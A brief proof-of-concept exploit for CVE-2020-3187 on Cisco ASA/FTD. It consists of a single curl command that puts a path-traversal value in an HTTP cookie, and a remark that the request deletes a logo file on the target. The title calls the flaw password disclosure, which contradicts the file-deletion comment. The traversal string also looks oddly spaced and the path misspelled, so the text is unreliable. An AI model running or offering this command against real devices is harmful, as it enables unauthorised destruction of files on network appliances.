
Proof-of-concept exploit for CVE-2020-3187 targeting Cisco ASA/FTD session password disclosure via crafted HTTP cookie header.
curl -H "Cookie: token=. ./+CSOU+/csco_logo.gif" https://target.com/+CSCOE+/session_password.html
(logo.gif will get deleted)